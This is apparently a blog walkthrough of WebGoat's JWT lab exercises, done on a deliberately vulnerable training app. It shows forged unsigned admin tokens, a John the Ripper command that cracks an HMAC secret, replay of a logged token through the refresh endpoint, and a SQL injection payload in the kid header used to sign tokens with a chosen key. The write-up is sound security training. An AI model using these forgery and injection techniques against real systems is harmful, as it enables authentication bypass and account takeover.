Webgoat - JWT tokens

Webgoat – JWT tokens

In this walk through, we will be going through the JWT tokens vulnerability section from Webgoat Labs. We will be exploring and exploiting vulnerable JWT tokens and learn how application are affected because of it. So, let’s get started with the Hacking without any delay.

JWT tokens

1. Decoding a JWT token

  • In this challenge we have to decode a JWT Token and get the value of username from it.

Decoding a JWT token

  • I used Webwolf JWT decoder to decode the token and got the username value that was “user”

JWT Decoded

Challenge completed

2. JWT signing

  • In this challenge, we have to change the token we receive and become an admin user by changing the token and then reset the votes.

2. JWT signing

  • I first changed by user from guest to “Tom” and got its access_token from the storage tab in Dev Tools.

Welcome back, Tom

Stored Cookies

  • Then used the Webwolf JWT decoder to decode the JWT Token.

eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE2OTkxOTgzNjAsImFkbWluIjoiZmFsc2UiLCJ1c2VyIjoiVG9tIn0.1YbuCGO8qKbnSGWJ8jxl8rSCWrfqmmBQ3sxgrty2S7cLCz7ZcEr93XtX858upvntHuzuxtdaxicjEsHOaWh22Q

JWT Decoded

  • Further, changed the admin value to true and user value to admin. Appended a . after the generated token as it was throwing a syntax error without that.

JWT Decoded

eyJhbGciOiJIUzUxMiJ9.ew0KICAiYWRtaW4iIDogInRydWUiLA0KICAiaWF0IiA6IDE2OTkxOTgzNjAsDQogICJ1c2VyIiA6ICJhZG1pbiINCn0.

  • I intercepted the request via Burpsuite of vote deletion and changed the access_token to that we have generated. Forwarding the request marks the challenge as complete.

Burpsuite POST request

Challenge completed

3. Code review

3. Code review

4. JWT Cracking

  • In this challenge, we have to crack the secret key of the given JWT token and then use it to sign a new token as per our specified value.

4. JWT Cracking

eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTY5ODMzNDYxMCwiZXhwIjoxNjk4MzM0NjcwLCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQub3JnIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.uHP33QTrmcNU3IRBe4cfuLSt51uXzaT-ZyhYAHCHXhc

JWT Decoded

  • I used john to crack the secret key using the below command. As per the result, our secret key is – victory.

$ sudo ~/Tools/john/run/john jwt.txt --wordlist=jwt-wordlist.txt --format=HMAC-SHA256
[sudo] password for wh1terose: 
Using default input encoding: UTF-8
Loaded 1 password hash (HMAC-SHA256 [password is key, SHA256 256/256 AVX2 8x])
Will run 8 OpenMP threads
Press Ctrl-C to abort, or send SIGUSR1 to john process for status
victory          (?)     
1g 0:00:00:00 DONE (2023-10-26 22:24) 50.00g/s 819200p/s 819200c/s 819200C/s ..007D29a5
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

John cracking

  • Next, i changed the username value to Webgoat and increase the exp time by appending few zeros as it was giving me some errors.

{
  "Email" : "[email protected]",
  "Role" : [ "Manager", "Project Administrator" ],
  "aud" : "webgoat.org",
  "exp" : 16983350000,
  "iat" : 1698334610,
  "iss" : "WebGoat Token Builder",
  "sub" : "[email protected]",
  "username" : "Webgoat"
}

JWT Decoded

  • Submitting the newly generated token completed the challenge.

eyJhbGciOiJIUzI1NiJ9.ew0KICAiRW1haWwiIDogInRvbUB3ZWJnb2F0Lm9yZyIsDQogICJSb2xlIiA6IFsgIk1hbmFnZXIiLCAiUHJvamVjdCBBZG1pbmlzdHJhdG9yIiBdLA0KICAiYXVkIiA6ICJ3ZWJnb2F0Lm9yZyIsDQogICJleHAiIDogMTY5ODMzNTAwMDAsDQogICJpYXQiIDogMTY5ODMzNDYxMCwNCiAgImlzcyIgOiAiV2ViR29hdCBUb2tlbiBCdWlsZGVyIiwNCiAgInN1YiIgOiAidG9tQHdlYmdvYXQub3JnIiwNCiAgInVzZXJuYW1lIiA6ICJXZWJnb2F0Ig0KfQ.16zqNFJoyqys8Xv4rbLR8N0_Y6k3PdruxKws2j6epKY

Challenge completed

5. Refreshing a token

  • In this challenge we have to exploit the refresh token so that we can order the books in Tom’s name which he have to pay for.

5. Refreshing a token

  • I intercepted the request via Burpsuite and analyzed the response.

Burpsuite POST request

Burpsuite Response

  • We also have a old log file which contain a logged access token. This will come in handy as it is already been signed for user Tom and is trusted by the server. So, we have to somehow refresh it and then use the new token to perform the task.

eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1MjYxMzE0MTEsImV4cCI6MTUyNjIxNzgxMSwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ.DCoaq9zQkyDH25EcVWKcdbyVfUL4c9D4jRvsqOqvi9iAd4QuqmKcchfbU8FNzeBNF9tLeFXHZLU4yRkq-bjm7Q

Log file

JWT Decoded

  • I found a request to the refresh login page in Burpsuite HTTP history tab which reveal a request for user jerry and an access token and refresh token is presented in the response.

Burpsuite History

  • Using the found access and refresh token, we will issue a request to /WebGoat/JWT/refresh/newToken page. Setting the content type to application/json and the Authorization header to Bearer + log file access token

{
  "access_token" : "eyJhbGciOiJIUzUxMiJ9.eyJhZG1pbiI6ImZhbHNlIiwidXNlciI6IkplcnJ5In0.Z-ZX2L0Tuub0LEyj9NmyVADu7tK40gL9h1EJeRg1DDa6z5_H-SrexH1MYHoIxRyApnOP7NfFonP3rOw1Y5qi0A",
  "refresh_token" : "eYUnkHBclkbQYcbiiLIY"
}

Burpsuite POST request

  • The response gives us our new access and refresh token.

Burpsuite Response

  • Using the new access token, issue the request to the checkout page as usual and complete the challenge.

{
  "access_token" : "eyJhbGciOiJIUzUxMiJ9.eyJ1c2VyIjoiVG9tIiwiYWRtaW4iOiJmYWxzZSJ9.hUv_8-Db-nyZwtDB6-JtZPPzxrqzDiQA4aQzKqaHbsVIJt_5h2wLfmxMIMlPriAr9LZnE5WFkOSbHlVZIKbXkw",

}

{
"refresh_token" : "QCPZlEcLNozIGqhdewFV"
}

access token new: eyJhbGciOiJIUzUxMiJ9.eyJ1c2VyIjoiVG9tIiwiYWRtaW4iOiJmYWxzZSJ9.hUv_8-Db-nyZwtDB6-JtZPPzxrqzDiQA4aQzKqaHbsVIJt_5h2wLfmxMIMlPriAr9LZnE5WFkOSbHlVZIKbXkw

Burpsuite POST request

Burpsuite Response

Challenge completed

6. Final challenge

  • In this challenge, we have to delete the user Tom profile however we don’t have the token to do that.

6. Final challenge

  • I intercepted the request and captured the jerry’s delete token.

Burpsuite POST request

  • Decoding the token reveals that the the token might have been signed with the webgoat_key and set by the kid parameter. Apparently, this parameter is vulnerable to SQL injection. So, we will inject our secret key into the database instead of the original key and assign a new token for us.

eyJ0eXAiOiJKV1QiLCJraWQiOiJ3ZWJnb2F0X2tleSIsImFsZyI6IkhTMjU2In0.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQsImV4cCI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJqZXJyeUB3ZWJnb2F0LmNvbSIsInVzZXJuYW1lIjoiSmVycnkiLCJFbWFpbCI6ImplcnJ5QHdlYmdvYXQuY29tIiwiUm9sZSI6WyJDYXQiXX0.CgZ27DzgVW8gzc0n6izOU638uUCi6UhiOJKYzoEZGE8 

JWT Decoded

  • I used the below SQL query into the field and changed the exp time, username and email address to that of Tom in payload. The secret key here is – deletingTom

{
  "alg" : "HS256",
  "kid" : "hacked' UNION select 'ZGVsZXRpbmdUb20=' from INFORMATION_SCHEMA.SYSTEM_USERS --",
  "typ" : "JWT"
}

{
  "Email" : "[email protected]",
  "Role" : [ "Cat" ],
  "aud" : "webgoat.org",
  "exp" : 161890530400,
  "iat" : 1524210904,
  "iss" : "WebGoat Token Builder",
  "sub" : "[email protected]",
  "username" : "Tom"
}

  • Using the generated token into our request and forwarding it completed the challenge.

eyJhbGciOiJIUzI1NiIsImtpZCI6ImhhY2tlZCcgVU5JT04gc2VsZWN0ICdaR1ZzWlhScGJtZFViMjA9JyBmcm9tIElORk9STUFUSU9OX1NDSEVNQS5TWVNURU1fVVNFUlMgLS0iLCJ0eXAiOiJKV1QifQ.ew0KICAiRW1haWwiIDogInRvbUB3ZWJnb2F0LmNvbSIsDQogICJSb2xlIiA6IFsgIkNhdCIgXSwNCiAgImF1ZCIgOiAid2ViZ29hdC5vcmciLA0KICAiZXhwIiA6IDE2MTg5MDUzMDQwMCwNCiAgImlhdCIgOiAxNTI0MjEwOTA0LA0KICAiaXNzIiA6ICJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLA0KICAic3ViIiA6ICJ0b21Ad2ViZ29hdC5jb20iLA0KICAidXNlcm5hbWUiIDogIlRvbSINCn0.ea1cK0oG5upOwNPXcHeeEA2s_BIzc7SuL5ev2xSzBTQ

JWT Decoded

Burpsuite POST request

Burpsuite Response

Challenge Completed

Also Read: Webgoat – Insecure Direct Object References

Conclusion:

Conclusion

So, we finally completed the Webgoat JWT tokens Vulnerability section. Next, we can mitigate these types of attacks by implementing updated libraries for handling JWT tokens and perform robust signature verification on every token. Along with that, we have to enforce a strict whitelist of permitted hosts for the “jku” header. On that note, i will take your leave and will meet you in next one with another Webgoat vulnerability writeup, till then “Keep Hacking”.

Leave a Comment

Your email address will not be published. Required fields are marked *

Scroll to Top